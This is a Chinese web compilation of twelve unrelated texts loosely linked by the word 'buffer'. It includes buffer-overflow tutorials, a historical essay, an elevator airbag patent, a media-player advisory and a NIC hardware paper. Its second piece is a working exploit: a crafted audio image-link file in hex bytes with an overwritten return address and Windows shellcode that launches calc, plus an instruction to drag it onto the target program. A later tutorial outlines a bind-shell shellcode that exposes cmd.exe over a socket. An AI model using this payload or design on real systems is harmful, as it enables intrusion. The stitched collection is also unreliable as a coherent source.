安全缓冲区(共12篇)
安全缓冲区 篇1
0 引言
很久以来,恶意的黑客和病毒开发者广泛使用漏洞和缓冲区溢出技术。Codered(红色代码)病毒就是最典型的例子,其传播所使用的技术可以充分体现网络时代网络安全与病毒的巧妙结合,将网络蠕虫、计算机病毒、木马程序合为一体,开创了网络病毒传播的新路,可称之为划时代的病毒。它可以完全取得所攻破计算机的所有权限为所欲为,可以盗走机密数据,严重威胁网络安全。Codered病毒采用了“缓存区溢出”的黑客技术,是通过微软公司IIS系统漏洞进行感染,它使IIS服务程序处理请求数据包时溢出,导致把此“数据包”当作代码运行,病毒驻留后再次通过此漏洞感染其它服务器。Codered不同于以往的文件型病毒和引导型病毒,并不将病毒信息写入被攻击服务器的硬盘。它只存在于内存,传染时不通过文件这一常规载体,而是借助这个服务器的网络连接攻击其它的服务器,直接从一台电脑内存传到另一台电脑内存。当本地IIS服务程序收到某个来自“红色代码”发送的请求数据包时,由于存在漏洞,导致处理函数的堆栈溢出。当函数返回时,原返回地址已被病毒数据包覆盖,程序运行线跑到病毒数据包中,此时病毒被激活,并运行在IIS服务程序的堆栈中。所以很多专门的反病毒公司对Codered束手无策。之后又出现了Nimda(尼母达)和Badtrans(坏透了)病毒,破坏也非常大。
本文就是针对缓冲区溢出的安全隐患进行分析。
1 缓冲区溢出的定义
缓冲区通常是用来存储数量事先确定的、有限数据的存储区域。当一个程序试图将比缓冲区容量大的数据存储进缓冲区的时候,就会发生缓冲区溢出。
为了便于理解,打个比方。缓冲区溢出好比是将十磅的糖放进一个只能装五磅的容器里。一旦该容器放满了,余下的部分就溢出在柜台和地板上,弄得一团糟。由于计算机程序的编写者写了一些编码,但是这些编码没有对目的区域或缓冲区——五磅的容器——做适当的检查,看它们是否够大,能否完全装入新的内容——十磅的糖,结果可能造成缓冲区溢出的产生。如果打算被放进新地方的数据不适合,溢得到处都是,该数据也会制造很多麻烦。但是,如果缓冲区仅仅溢出,这只是一个问题。到此时为止,它还没有破坏性。当糖溢出时,柜台被盖住。可以把糖擦掉或用吸尘器吸走,还柜台本来面貌。与之相对的是,当缓冲区溢出时,过剩的信息覆盖的是计算机内存中以前的内容。除非这些被覆盖的内容被保存或能够恢复,否则就会永远丢失。也就是说数据超出缓冲区的大小,多余的数据就会溢出到相邻的内存地址,破坏该位置原有的有效数据,并且有可能改变执行路径和指令。可以将任意的数据注入到执行路径中,允许远程计算机的系统级访问,不仅使恶意的黑客,也会使自我复制的恶意代码获得未经授权的访问。
2 缓冲区溢出的种类
2.1 第一种堆栈缓冲区溢出
一个有漏洞的函数
一个大小为256字节的缓冲区,程序试图用512字节的字符A填满这个缓冲区。由于程序溢出了这个小的256字节的缓冲区,EIP(指令指针)是如何改变的。
当数据超出缓冲区大小的时候,剩下的数据就会覆盖堆栈的邻近区域原有的数据,包括一些重要的值,比如用来定义执行路径的指令指针(EIP)。通过覆盖返回的EIP地址,攻击者可以任意修改程序下一步将要执行的内容。
攻击者使用自己的恶意代码填充缓冲区,而不是A,使用填满了恶意代码的缓冲区地址来覆盖EIP(指向程序下一步将要执行的代码),而不是随机的数据来重写它。这改变了程序的执行路径,转而执行被注入的恶意代码。
堆栈缓冲区溢出的原因是在复制数据到缓冲区时没有检测数据大小。这经常是由于使用了不限制从一个位置复制到另一个位置的数据的大小的函数造成。如,strcpy是C语言中用来将一个缓冲区中的字符串复制到另一个缓冲区的函数,这个函数不检测接收字符串的缓冲区是否够大,所以可能溢出。
2.2 单字节越界溢出
程序员经常犯计数错误,会出现因为多出一个字节而溢出的现象,即单字节越界溢出。程序员希望使用相对安全的函数,例如strncat函数,但这并不一定使他们的程序更加安全。其实strncat函数经常导致溢出,它的行为相对太直观,在检查缓冲区大小的时候发生错误,经常会导致单字节越界溢出,因为程序员没有注意到数组的下标是从“0”开始。这种溢出只溢出一个字节,程序不能够重写EIP。系统字节序是little-endian,程序可以覆盖EBP中的低位字节。根据代码的不同,可以用多种方式利用伪造的EBP。紧接着下一条指令是mov esp,ebp,这使堆栈指针指向缓冲区的位置。伪造堆栈中的本地变量部分是经过处理的,程序返回后继续执行伪造的EIP处的指令,实际上执行的是堆栈中被注入的代码。程序员有一个普遍的误解,通过动态分配内存,避免使用堆栈,减少缓冲区溢出的可能。堆是动态分配的内存,这部分内存与分配给堆栈的是分离的,堆的建立和删除是动态的。事先不知道程序所需的内存大小时,或所需内存比堆栈大时,经常使用堆。堆溢出并不影响EIP,溢出的堆覆盖数据或者修改指向数据和函数指针,也可导致拒绝服务攻击,使应用程序崩溃。函数指针(function pointer)溢出发生在使用回调函数(callback function)时,缓冲区后面是函数指针,不检查缓冲边界,就有可能覆盖函数指针。
2.3 格式化字符串漏洞
格式化字符串漏洞是因为程序员粗心大意的编码造成的,C语言的函数可以将字符串打印到文件、缓冲区、屏幕上。程序员利用函数的格式化控制输出格式。百分号(%)是转义符,后面字符表示输出的格式,如%d表示用十进制格式显示数值,%X表示用十六进制格式显示,并用大写字母。这就是格式说明符。一个使用错误格式化语法的伪程序:
这段程序想把“hello Beijing”显示在屏幕上,但函数的调用格式不正确,正确的应该是Printf(“%s”,buffer);这种编程方式容易被攻击者利用,控制堆栈并注入任意的可执行代码。
安全研究人员检测到大多数的应用程序都含有这种漏洞,开发者依然不重视,还继续错误使用格式输出函数,造成现在很多应用程序存在漏洞,易受攻击。
3 结束语
缓冲区溢出的安全隐患经常被忽视,它只是黑客和病毒攻击的一种手段,破坏力可大可小,随着现代技术的不断更新,网络攻击和防御也平衡发展。保护计算机的最好办法就是经常安装安全补丁修补系统,基于主机以及基于网络的漏洞分析工具能够帮助找到内部网络中过期的有漏洞的系统,及时安装补丁。另外,漏洞分析工具还可以识别出该卸载的不需要不安全的服务。企业版及个人版的防火墙软件也有利于防范外来的和内部的攻击,需要在工作站、服务器、网关上安装防范机制,网络安全最重要。
参考文献
[1]Halvar Flake,personal communication.2004.
[2]Peter szor and Frederic perriot.2003.
安全缓冲区 篇2
poc文件的内容:
0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x42, 0x6C,
0x6F, 0x63, 0x6B, 0x3D, 0x20, 0x46, 0x69, 0x6E,
0x69, 0x73, 0x68, 0x20, 0x42, 0x6C, 0x6F, 0x63,
0x6B, 0x3D, 0x5B, 0x4D, 0x6F, 0x6E, 0x6B, 0x65,
0x79, 0x27, 0x73, 0x20, 0x41, 0x75, 0x64, 0x69,
0x6F, 0x20, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x20,
0x4C, 0x69, 0x6E, 0x6B, 0x20, 0x46, 0x69, 0x6C,
0x65, 0x5D, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x20,
0x46, 0x69, 0x6C, 0x65, 0x3D, 0x5C, 0x41, 0x41,
0x41, 0x41, 0x7E, 0x46, 0x41, 0x41, 0x41, 0x7E,
0x4B, 0x41, 0x41, 0x41, 0x7E, 0x50, 0x41, 0x41,
0x41, 0x7E, 0x55, 0x41, 0x41, 0x41, 0x7E, 0x5A,
0x41, 0x41, 0x41, 0x7E, 0x35, 0x41, 0x41, 0x41,
0x7E, 0x30, 0x41, 0x41, 0x41, 0x7E, 0x25, 0x41,
0x41, 0x41, 0x7E, 0x29, 0x41, 0x41, 0x41, 0x7E,
0x43, 0x42, 0x41, 0x41, 0x7E, 0x48, 0x42, 0x41,
0x41, 0x7E, 0x4D, 0x42, 0x41, 0x41, 0x7E, 0x52,
0x42, 0x41, 0x41, 0x7E, 0x57, 0x42, 0x41, 0x41,
0x7E, 0x32, 0x42, 0x41, 0x41, 0x7E, 0x37, 0x42,
0x41, 0x41, 0x7E, 0x40, 0x42, 0x41, 0x41, 0x7E,
0x26, 0x42, 0x41, 0x41, 0x7E, 0x2B, 0x42, 0x41,
0x41, 0x7E, 0x45, 0x43, 0x41, 0x41, 0x7E, 0x4A,
0x43, 0x41, 0x41, 0x7E, 0x4F, 0x43, 0x41, 0x41,
0x7E, 0x54, 0x43, 0x41, 0x41, 0x7E, 0x59, 0x43,
0x41, 0x41, 0x7E, 0x34, 0x43, 0x41, 0x41, 0x7E,
0x39, 0x43, 0x41, 0x41, 0x7E, 0x24, 0x43, 0x41,
0x41, 0x7E, 0x28, 0x43, 0x41, 0x41, 0x7E, 0x42,
0x44, 0x41, 0x41, 0x7E, 0x47, 0x44, 0x41, 0x41,
0x7E, 0x4C, 0x44, 0x41, 0x41, 0x7E, 0x51, 0x44,
0x41, 0x41, 0x7E, 0x56, 0x44, 0x41, 0x41, 0x7E,
0x31, 0x44, 0x41, 0x41, 0x7E, 0x36, 0x44, 0x41,
0x41, 0x7E, 0x21, 0x44, 0x41, 0x41, 0x7E, 0x5E,
0x44, 0x41, 0x41, 0x7E, 0x5F, 0x44, 0x41, 0x41,
0x7E, 0x44, 0x45, 0x41, 0x41, 0x7E, 0x49, 0x45,
0x41, 0x41, 0x7E, 0x4E, 0x45, 0x41, 0x41, 0x7E,
0x53, 0x45, 0x41, 0x41, 0x7E, 0x58, 0x45, 0x41,
0x41, 0x7E, 0x33, 0x45, 0x41, 0x41, 0x7E, 0x38,
0x45, 0x41, 0x41, 0x7E, 0x23, 0x45, 0x41, 0x41,
0x7E, 0x2A, 0x45, 0x41, 0x41, 0x7E, 0x41, 0x46,
0x41, 0x41, 0x7E, 0x46, 0x46, 0x41, 0x41, 0x7E,
0x4B, 0x46, 0x41, 0x41, 0x7E, 0x50, 0x46, 0x41,
0x41, 0x7E, 0x55, 0x46, 0x41, 0x41, 0x7E, 0x5A,
0x46, 0x41, 0x41, 0x7E, 0x35, 0x46, 0x41, 0x41,
0x7E, 0x30, 0x46, 0x41, 0x41, 0x7E, 0x25, 0x46,
0x41, 0x41, 0x7E, 0x29, 0x46, 0x41, 0x41, 0x7E,
0x43, 0x47, 0x41, 0x41, 0x7E, 0x48, 0x47, 0x41,
0x41, 0x7E, 0x4D, 0x47, 0x41, 0x41, 0x7E, 0x52,
0x47, 0x41, 0x41, 0x7E, 0x57, 0x47, 0x41, 0x41,
0x7E, 0x32, 0x47, 0x41, 0x41, 0x7E, 0x37, 0x47,
0x41, 0x41, 0x7E, 0x40, 0x47, 0x41, 0x41, 0x7E,
0x26, 0x47, 0x41, 0x41, 0x7E, 0x2B, 0x47, 0x41,
0x41, 0x7E, 0x45, 0x48, 0x41, 0x41, 0x7E, 0x4A,
0x48, 0x41, 0x41, 0x7E, 0x4F, 0x48, 0x41, 0x41,
0x7E, 0x54, 0x48, 0x41, 0x41, 0x7E, 0x59, 0x48,
0x41, 0x41, 0x7E, 0x34, 0x48, 0x41, 0x41, 0x7E,
0x39, 0x48, 0x41, 0x41, 0x7E, 0x24, 0x48, 0x41,
0x41, 0x7E, 0x28, 0x48, 0x41, 0x41, 0x7E, 0x42,
0x49, 0x41, 0x41, 0x7E, 0x47, 0x49, 0x41, 0x41,
0x7E, 0x4C, 0x49, 0x41, 0x41, 0x7E, 0x51, 0x49,
0x41, 0x41, 0x7E, 0x56, 0x49, 0x41, 0x41, 0x7E,
0x31, 0x49, 0x41, 0x41, 0x7E, 0x36, 0x49, 0x41,
0x41, 0x7E, 0x21, 0x49, 0x41, 0x41, 0x7E, 0x5E,
0x49, 0x41, 0x41, 0x7E, 0x5F, 0x49, 0x41, 0x41,
0x7E, 0x44, 0x4A, 0x41, 0x41, 0x7E, 0x49, 0x4A,
0x41, 0x41, 0x7E, 0x4E, 0x4A, 0x41, 0x41, 0x7E,
0x53, 0x4A, 0x41, 0x41, 0x7E, 0x58, 0x4A, 0x41,
0x41, 0x7E, 0x33, 0x4A, 0x41, 0x41, 0x7E, 0x38,
0x4A, 0x41, 0x41, 0x7E, 0x23, 0x4A, 0x41, 0x41,
0x7E, 0x2A, 0x4A, 0x41, 0x41, 0x7E, 0x41, 0x4B,
0x41, 0x41, 0x7E, 0x46, 0x4B, 0x41, 0x41, 0x7E,
0x4B, 0x4B, 0x41, 0x41, 0x7E, 0x50, 0x4B, 0x41,
0x41, 0x7E, 0x55, 0x4B, 0x41, 0x41, 0x7E, 0x5A,
0x4B, 0x41, 0x41, 0x7E, 0x35, 0x4B, 0x41, 0x41,
0x7E, 0x30, 0x4B, 0x41, 0x41, 0x7E, 0x25, 0x4B,
0x41, 0x41, 0x7E, 0x29, 0x4B, 0x41, 0x41, 0x7E,
0x43, 0x4C, 0x41, 0x41, 0x7E, 0x48, 0x4C, 0x41,
0x41, 0x7E, 0x4D, 0x4C, 0x41, 0x41, 0x7E, 0x52,
0x4C, 0x41, 0x41, 0x7E, 0x57, 0x4C, 0x41, 0x41,
0x7E, 0x32, 0x4C, 0x41, 0x41, 0x7E, 0x37, 0x4C,
0x41, 0x41, 0x7E, 0x40, 0x4C, 0x41, 0x41, 0x7E,
0x26, 0x4C, 0x41, 0x41, 0x7E, 0x2B, 0x4C, 0x41,
0x41, 0x7E, 0x45, 0x4D, 0x41, 0x41, 0x7E, 0x4A,
0x4D, 0x41, 0x41, 0x7E, 0x4F, 0x4D, 0x41, 0x41,
0x7E, 0x54, 0x4D, 0x41, 0x41, 0x7E, 0x59, 0x4D,
0x41, 0x41, 0x7E, 0x34, 0x4D, 0x41, 0x41, 0x7E,
0x39, 0x4D, 0x41, 0x41, 0x7E, 0x24, 0x4D, 0x41,
0x41, 0x7E, 0x28, 0x4D, 0x41, 0x41, 0x7E, 0x42,
0x4E, 0x41, 0x41, 0x7E, 0x47, 0x4E, 0x41, 0x41,
0x7E, 0x4C, 0x4E, 0x41, 0x41, 0x7E, 0x51, 0x4E,
0x41, 0x41, 0x7E, 0x56, 0x4E, 0x41, 0x41, 0x7E,
0x31, 0x4E, 0x41, 0x41, 0x7E, 0x36, 0x4E, 0x41,
0x41, 0x7E, 0x21, 0x4E, 0x41, 0x41, 0x7E, 0x5E,
0x4E, 0x41, 0x41, 0x7E, 0x5F, 0x4E, 0x41, 0x41,
0x7E, 0x44, 0x4F, 0x41, 0x41, 0x7E, 0x49, 0x4F,
0x41, 0x41, 0x7E, 0x4E, 0x4F, 0x41, 0x41, 0x7E,
0x53, 0x4F, 0x41, 0x41, 0x7E, 0x58, 0x4F, 0x41,
0x41, 0x7E, 0x33, 0x4F, 0x41, 0x41, 0x7E, 0x38,
0x4F, 0x41, 0x41, 0x7E, 0x23, 0x4F, 0x41, 0x41,
0x7E, 0x2A, 0x4F, 0x41, 0x41, 0x7E, 0x41, 0x50,
0x41, 0x41, 0x7E, 0x46, 0x50, 0x41, 0x41, 0x7E,
0x4B, 0x50, 0x41, 0x41, 0x7E, 0x50, 0x50, 0x41,
0x41, 0x7E, 0x55, 0x50, 0x41, 0x41, 0x7E, 0x5A,
0x50, 0x41, 0x41, 0x7E, 0x35, 0x50, 0x41, 0x41,
0x7E, 0x30, 0x50, 0x41, 0x41, 0x7E, 0x25, 0x50,
0x41, 0x41, 0x7E, 0x29, 0x50, 0x41, 0x41, 0x7E,
0x43, 0x51, 0x41, 0x41, 0x7E, 0x48, 0x51, 0x41,
0x41, 0x7E, 0x4D, 0x51, 0x41, 0x41, 0x7E, 0x52,
0x51, 0x12, 0x45, 0xFA, 0x7F, 0x51, 0x41, 0x41,
0x7E, 0x32, 0x51, 0x41, 0x41, 0x31, 0xD2, 0x52,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x89, 0xE6, 0x52,
0x56, 0x64, 0x8B, 0x72, 0x30, 0x8B, 0x76, 0x0C,
0x8B, 0x76, 0x0C, 0xAD, 0x8B, 0x30, 0x8B, 0x7E,
0x18, 0x8B, 0x5F, 0x3C, 0x8B, 0x5C, 0x1F, 0x78,
0x8B, 0x74, 0x1F, 0x20, 0x01, 0xFE, 0x8B, 0x4C,
0x1F, 0x24, 0x01, 0xF9, 0x42, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xF5, 0x0F,
0xB7, 0x54, 0x51, 0xFE, 0x8B, 0x74, 0x1F, 0x1C,
0x01, 0xFE, 0x03, 0x3C, 0x96, 0xFF, 0xD7, 0xCC
拖拽poc文件到可执行程序
犹豫——人与鬼的缓冲区 篇3
与其他创立基业的皇帝比起来,赵匡胤确实是个不够果断的人。果断者有两种:一种是四肢发达,头脑简单,比如项羽;另外一种是刚愎自用,阴险毒辣,比如朱元璋和刘邦。朱元璋把所有的开国元勋统统杀净,孙子建文帝劝他要讲仁道,他把一根长满刺的藤条扔在地上,让孙子捡起来,孙子怕扎手,不敢捡。朱元璋说:“我现在把上面的刺都给你捋干净了,你还不感谢我?”
与这二人卸磨杀驴时的果断相比,赵匡胤就柔和得多,他把开国元勋们叫来,先喝酒,后讲道理,委婉地劝他们放弃兵权,照样可以享受荣华富贵。
我把赵匡胤的这种犹豫理解为“敬畏之心”。和家人探讨前途,显然不只是做做样子,他对自己的亲姐姐没这个必要。为什么要敬畏呢?他要寻找一个道义的着陆点,在蓬勃开放的野心上覆盖一层足够美丽的遮羞布。他从更民间、更草根的角度打量自己的行为,看它是否站得住脚。这种犹豫是一个心灵过渡区,人与鬼的缓冲区。有了这个缓冲,才有了他的与人为善,给人留出路的“铁书三誓”:永远优待自己的前领导柴氏家族;永远不杀进言的士人;子孙有违此誓者,天打雷劈。
在专制条件下,我们惟一能祈祷的就是,让掌权的人犹豫一些。我们无法要求他是个神,做个有敬畏心的人就不错了。
具有安全气囊电梯缓冲装置 篇4
目前, 电梯底坑缓冲装置是采用直压式底坑缓冲装置, 其缺点在于:直压式电梯底坑缓冲装置不仅缓冲行程小, 且缓冲性能差, 容易造成因失速坠落的电梯轿厢损坏, 并导致电梯轿厢内乘客的伤亡。
笔者结合实际情况制造了一种具有安全气囊电梯缓冲装置。该产品利用气体作为缓冲介质, 同时引入电梯相关状态的实时监测, 从而自适应控制缓冲过程中产生的缓冲作用力的大小, 削减过载冲击力, 实现电梯轿厢平缓的缓冲效果, 有效降低由于过载冲击导致的乘客人身伤害, 另一方面则可以杜绝油类污染, 利于环保, 具有一定的社会推广价值。
2 产品结构组成及设计思路
图1所示为一种具有安全气囊电梯缓冲装置, 由安全气囊1、加速度感应器2、控制系统3、空气压缩机4、单向阀5、压力感应器7、溢流阀8组成, 安全气囊1设于电梯6井道底坑, 装配有进、排气阀;加速度感应器2设于安全气囊1上方, 用以感应电梯轿厢6的加速度变化信息;控制系统3一端与加速度感应器2连接, 另一端与空气压缩机4和单向阀5连接, 用以接受加速度感应器2的数据信号及发送相应控制信号来向安全气囊1充气;压力感应器7设于安全气囊1下方, 其与溢流阀8相连, 用以检测安全气囊气压变化信息来控制溢流阀8动作。
1.安全气囊2.加速度感应器3.控制系统4.空气压缩机5.单向阀6.电梯轿厢7.压力感应器8.溢流阀
3 特点
该产品利用气体作为缓冲介质, 同时引入电梯相关状态的实时监测, 从而自适应控制缓冲过程中产生的缓冲作用力的大小, 削减过载冲击力, 实现电梯轿厢平缓的缓冲效果, 有效地降低由于过载冲击导致的乘客人身伤害, 另一方面则可以杜绝油类污染, 利于环保。该产品已获国家专利 (专利号:ZL201310300006.6) , 可广泛用于各种型号的电梯缓冲装置改装, 投资成本小, 生产工艺简单, 具有一定的社会推广价值。
参考文献
安全缓冲区 篇5
受影响系统: Alsaplayer Alsaplayer 0.99.80-rc2 Alsaplayer Alsaplayer 0.99.76 Alsaplayer Alsaplayer 0.99.71 不受影响系统: Alsaplayer Alsaplayer 0.99.80-rc3 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 25969 AlsaPlayer是一个为ALSA声音系统编写的PCM 播放器,也支持OSS、NAS 和ESD,
AlsaPlayer 存在处理远程缓冲区溢出漏洞
安全缓冲区 篇6
关键词:描述符;DAMQ;信用管理;PIO;DMA;消息发射率;低延迟
中图分类号:TP338 文献标识码:A
An Unblocking Descriptor Injection Method
Based on Multi-VP Shared Buffer
LIU Lu, ZHANG He-ying, ZHANG Lei, CAO Ji-jun, DAI Yi
(College of Computer, National Univ of Defense Technology, Changsha, Hunan 410073, China)
Abstract: This paper proposed a novel multi-VP shared buffer named DAMQ-PD with mixed PIO and DMA for descriptor injection on NIC chip to decrease the memory and area requirement of statically allocating buffer among multiple virtual ports (VP). An address queue was used to record the address of every data in the shared buffer. Combining each VP's head pointer and tail pointer, each VP's data can be linked in the shared buffer according to input sequence. By doing so, pipelining reading and writing of the shared buffer can be implemented. A heuristic credit management method was also proposed to distribute credits according to the need of each VP, which can automatically switch descriptor injection method from PIO to DMA or vice versa, thus avoiding block execution of user process when no credit is available. Analyses and simulations show that DAMQ-PD achieves high buffer utilization, pipelining write and read, high message issue rate, thus satisfying the low latency and large capacity performance requirement of descriptor injection on NIC.
Key words: descriptor; DAMQ; credit management; PIO; DMA; message issue rate; low latency
处理器时钟频率达到4 GHz后,再依赖减小尺寸提升主频来提高处理器性能的做法变得越来越困难,业界转而利用在单处理器芯片上集成多个核,通过提高并行执行度来提升处理器的性能.VLSI工艺的进步支持这种技术路线的演进.依靠核数的堆叠,处理器的性能一直在持续攀升,并将继续按摩尔定律发展.
随着单个处理器及单个计算结点的计算性能不断提高,集成了成千上万个计算结点的HPC(High Performance Computer)的峰值性能也不断提高,但是由于技术和成本等原因,HPC的访存性能、I/O性能和互连网络性能的提升速度却远低于计算性能提升的速度,导致强大的计算能力与较低的访存能力、I/O能力和结点间通信能力之间的不匹配,实际运行的大型并行应用程序的并行效率一般不超过HPC峰值性能的20%[1],大量的计算能力和功耗白白浪费了,这就是目前制约HPC发展的“存储墙”“I/O墙”和“通信墙”问题.
近期的HPC系统中[2-6],连接结点的互连网络的点点带宽约为10 GB/s,延迟约为700 ns,远不能满足通信密集型并行应用程序的通信开销和同步开销对通信性能的要求.对比近期HPC计算结点访存带宽约为50 GB/s,访存延时约为几ns,结点的“通信/计算比”远小于结点的“访存/计算比”,互连网络成了限制HPC并行性能发挥的瓶颈.为了应对互连网络面临的严峻挑战,人们对互连网络进行了大量深入研究,使互连网络成为HPC领域的研究热点.
缓冲区溢出漏洞攻击初探 篇7
1缓冲区溢出漏洞定义及原理
1996年, Aleph One在Phrack杂志发表的“Smashing the Stack for Fun and Profit”是缓冲区溢出的经典之作, 第一次详细地介绍了缓冲区溢出产生的原理和利用方法。缓冲区溢出漏洞攻击是指攻击者通过在缓冲区写入超过预定长度的数据造成所谓的溢出, 破坏了堆栈的原有数据结构, 使程序的返回地址发生变化, 使它指向溢出程序中恶意代码, 这样就达到了攻击者的目的。
常见的缓冲区溢出漏洞包括栈溢出和堆溢出漏洞, 本文主要结合实验简要分析栈溢出的攻击原理。要充分理解缓冲区溢出漏洞的基本原理, 就要从理解系统的内存结构开始。系统的内存结构主要包含有text、data、bss、heap和stack等区段。其中, 代码text区, 是由程序的代码段, 为只读数据, 任何对其写入的操作都会导致段错误 (segmentation violation) ;而bss和data都是可写的, 它们保存全局变量, data段包含已初始化的静态变量, 而bss包含未初始化的数据;heap是堆区, stack是栈区。
栈结构及溢出原理:
堆栈是操作系统中非常重要的一种结构, 系统或用户进程通过堆栈用来完成各种函数调用。对于系统中的每个进程来说, 都有其各自独立的堆栈空间, 堆栈空间随着进程的创建而被创建, 随着进程的结束而被销毁。与系统中其他内存空间的增长有所不同, 堆栈的增长方向是由内存高地址向低地址进行的, 正是由于堆栈的这个特点导致了一系列的安全问题。
当一个函数调用另一个函数的时候, 其栈帧结构如图2所示。在正常情况下, 被调函数执行完毕, 将被调函数的返回地址传给EIP寄存器, CPU从EIP寄存器取指令地址, 返回主函数继续执行。如果黑客特意构造数据, 使被调函数的局部变量越界, 这样就有可能破坏栈中的相邻变量的值, 甚至破坏栈帧中所保存的EIP、EBP值等重要数据。成功的缓冲区溢出攻击会用精心设计的数据覆盖返回地址, 使被调函数执行完后将修改后的返回地址传入EIP, 从而使CPU执行攻击代码 (shellcode) 。
2缓冲区溢出漏洞攻击的构造
通过前面的分析, 我们大致了解了构造缓冲区溢出漏洞需要考虑以下3个方面的问题。一是找出缓冲区溢出要覆盖或修改的返回地址EIP。如栈溢出中的返回地址在栈中的存储位置。二是将返回地址的值修改为何值?为了完成程序执行流程控制权的转移, 攻击者将影响程序执行流程的EIP值进行修改, 使其能够跳转至攻击者预期的代码进行执行。如何定位注入指令在目标程序中的位置, 以及在存在限制条件如何完成程序控制权的移交, 是一项重要的挑战。三是要构造合适的指令代码, 即Shellcode。在程序控制权交至攻击者注入的指令代码后, 那么这段代码具体完成什么功能是由攻击者开发的。这段代码有时被称为攻击者的payload, 由于这个payload通常为攻击者提供了一个远程shell访问, 因此也被称为Shellcode。由于受目标主机的缓冲区大小限制, Shellcode长度一般越小越好。Shellcode构造步骤一般如下:
(1) 先用C语言程序编写实现Shellcode的功能的代码。
(2) 将上面编写的代码通过编译器进行编译, 然后修改为带有Shellcode特点的汇编代码 (精通汇编语言的人可直接使用汇编语言编写程序) 。
(3) 根据汇编程序得到机器码形式的Shellcode。
3缓冲区溢出漏洞实验
在了解了缓冲区溢出攻击的原理之后, 下面给出一个远程栈溢出的例子。图1所示的程序是一个存在缓冲去溢出漏洞的服务器端程序。该程序主要功能是实现字符串接收与回显, 通过windows socket机制创建一个服务器示漏洞程序的远程渗透攻击代码示例端socket, 并在3764端口上进行监听;在接受客户端连接之后, 把客户端输入的字符串统计接收的字节数, 并进行回显。该程序的被调函数overflow在将接收字符串复制至本地局部变量s1缓冲区时, 因没有进行边界保护, 存在着栈溢出漏洞风险。
下面我们构造一个针对图1所示漏洞服务程序的远程渗透攻击程序。该攻击程序关键点在于构造一个用于溢出目标程序缓冲区的攻击数据, 这是整个攻击过程中最为关键的步骤。攻击数据缓冲区Buff类似一个“三明治”, “顶层”填充一段无效的nop指令, “夹心层”是将EIP值修改为“jmp ESP”指令的地址, 而这个指令地址在不同的目标程序所运行的操作系统平台上是不一样的, 由攻击者在不同的系统环境中调试获得。在本示例代码中, 实验的环境是windows xp环境, 并从ws2_32.dll中查找到的“jmp esp”指令地址。“底层”则填充攻击者构造的远程Shellcode。
图2所示的代码省略了580字节的shellcode二进制代码程序。下面给出Shellcode实现步骤, 具体的代码请读者根据实际需要自行编写。其大致过程如下:
(1) 创建一个服务器端socket, 并在指定的端口上监听;
(2) 通过accept () 接受客户端的网络连接;
(3) 创建子进程, 运行“cmd.exe”, 启动命令行;
(4) 创建两个管道, 命令管道将服务器端socket接收 (recv) 到的客户端通过网络输入的执行命令, 连接至cmd.exe的标准输入;然后输出管道将cmd.exe的标准输出连接到服务器端socket的发送 (send) , 通过网络将运行结果反馈给客户端。然后再将高级语言实现的shellcode代码编译, 生成汇编代码, 提取汇编代码所对应的Opcode二进制指令, 就可以创建图2所示的渗透攻击程序中所省略的shellcode指令数组。
4小结
本文详细描述和分析了缓冲区溢出攻击的原理, 然后就如何对缓冲区溢出攻击漏洞构造攻击程序进行了详细的分析。目前, 缓冲区溢出漏洞仍然是互联网和计算机系统中最普遍安全漏洞, 特别是能够实现本地提取和远程渗透攻击的缓冲区溢出漏洞威胁最大。虽然随着软件厂商不断加强了软件安全方面的建设, 但在短期之内很难彻底解决缓冲区溢出漏洞攻击的问题, 因而目前对该问题的研究工作仍具有实际意义。
参考文献
[1]韩万军.缓冲区溢出攻击代码检测与防御技术研究[D].郑州:解放军信息工程大学, 2012.
[2]付春雷.基于多阶段网络攻击模型的缓冲区溢出攻击技术研究与实践[D].重庆:重庆大学, 2006.
安全缓冲区 篇8
关键词:缓冲区,溢出,堆栈,Windows,shellcode
0 引言
近二十年来,缓冲区溢出漏洞已成为计算机系统安全漏洞的主要形式之一,利用缓冲区溢出漏洞进行的攻击占了远程网络攻击的绝大多数,这种攻击可以使一个匿名网络用户有机会获得一台主机的部分或全部控制权,可以使蠕虫病毒进行迅速高效的传播,是一种极其严重的安全威胁。
缓冲区溢出攻击之所以成为一种常见的安全攻击手段,主要原因在于,存在缓冲区溢出漏洞的系统和软件非常普遍,且一旦漏洞被成功利用,被攻击者植入的攻击代码将获得与目标程序相同的系统权限,从而得到被攻击主机的控制权。
2 缓冲区溢出原理
2.1 进程在内存中的映像
假设有一个程序,它的函数调用顺序如下:
main(...)->func_1(...)->func_2(...)->func_3(...)
即:主函数main调用函数func_1;func_1调用func_2;func_2调用func_3。当程序被操作系统调入内存运行,其对应的进程在内存中的映像如图1所示。
需要说明的是:
(1)随着进程中函数调用层数的增加,函数栈帧是逐块向内存低址方向延伸的;随着函数调用层数的减少,各函数调用的返回,栈帧会逐块被释放而向内存的高址方向回缩,各函数的栈帧大小随着函数中局部变量的不同而不等。
(2)进程对内存的动态申请发生在Heap(堆)里,随着系统动态分配给进程的内存数量的增加,Heap(堆)有可能向高址或低址延伸,取决于不同系统的实现,通常是向内存的高址方向增长。
(3)当BSS数据或Stack(栈)的增长耗尽了系统分配给进程的自由内存时,进程将会被阻塞,重新被操作系统使用更大的内存模块来调度运行。
(4)非初始化数据(BSS)区用于存放程序的静态变量,这部分内存都被初始化为零;初始化数据区用于存放可执行文件里的初始化数据。这两个区统称为数据区。
(5)Text(文本区)是个只读区,任何尝试对该区的写操作都将导致段违法出错,文本区被多个运行该可执行文件的进程所共享,用于存放程序的代码。
2.2 函数的栈帧
函数调用时建立的栈帧包含了下面的信息:
(1)函数的返回地址:返回地址是存放在父函数的栈帧还是子函数的栈帧里,取决于不同系统的实现,Windows系统是放在父函数的栈帧里;
(2)调用函数的栈帧信息,即栈顶和栈底;
(3)为函数的局部变量分配的空间;
(4)为被调用函数的参数分配的空间。
2.3 缓冲区溢出
